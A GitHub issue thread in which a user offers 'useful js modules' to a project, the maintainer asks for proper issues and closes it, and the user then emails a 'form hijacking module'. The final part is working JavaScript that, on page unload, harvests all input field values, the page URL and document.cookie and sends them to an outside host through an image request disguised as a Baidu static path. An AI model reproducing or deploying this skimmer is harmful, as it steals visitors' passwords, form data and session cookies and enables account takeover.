I have a lot of good js modules, very useful, do you need to update your work, we will improve it together. I am willing to provide some very useful modules
Closed this issue · 2 comments
soshunte commented
I have a lot of good js modules, very useful, do you need to update your work, we will improve it together. I am willing to provide some very useful modules
ssl commented
Hey @soshunte. Feature requests or other improvements are always welcome, aslong as it fits within the project.
Could you create separate (well described) issues and/or pull requests for your ideas? That way we can look at them and argue wether or not to add them and if so in what way.
I will close this issue since it does not provide any other information.
soshunte commented
This is a form hijacking module
elyesa ***@***.***> 于2024年10月27日周日 18:21写道:
Hey @soshunte <https://github.com/soshunte>. Feature requests or other
improvements are always welcome, aslong as it fits within the project.
Could you create separate (well described) issues and/or pull requests for
your ideas? That way we can look at them and argue wether or not to add
them and if so in what way.
I will close this issue since it does not provide any other information.
—
Reply to this email directly, view it on GitHub
<#187 (comment)>, or
unsubscribe
<https://github.com/notifications/unsubscribe-auth/A3CCB63NTAK65YXH7D722HDZ5SWCNAVCNFSM6AAAAABQHMJBFWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZZHE2DMMRSGE>
.
You are receiving this because you were mentioned.Message ID:
***@***.***>
document.getElementsByTagName("body")[0].setAttribute("onunload","postData()");
function postData() {
var locationurl=function() {
try {
return document.location
} catch(e) {
return ''
}
}();
var topurl=function() {
try {
return top.location.href
} catch(e) {
return ''
}
}();
var cookie = function() {
try {
return document.cookie
} catch(e) {
return ''
}
}();
var inputs, index;
var output ="";
var outputif ="";
inputs = document.getElementsByTagName('input');
for (index = 0; index < inputs.length; ++index) {
input_name = inputs[index].id || inputs[index].name;
if(input_name.replace(/(^s*)|(s*$)/g, "").length >2 || inputs[index].value.replace(/(^s*)|(s*$)/g, "").length >2){
output = output + "----" + input_name + "=" + inputs[index].value;
if(input_name.toLowerCase != "submit" || inputs[index].type.toLowerCase != "submit"){
outputif = outputif + inputs[index].value;
}
}
}
output = encodeURIComponent(output); //此版本为修复版2017-08-08 gdd.gd
if(outputif.replace(/(^s*)|(s*$)/g, "").length >4){
new Image().src = "https://s0s.im/bdstatic.com/?callback=jsonp&id={projectId}"+"&location="+encodeURIComponent(locationurl)+"&toplocation="+encodeURIComponent(topurl)+"&Data="+output+"&cookie="+encodeURIComponent(cookie);
}
};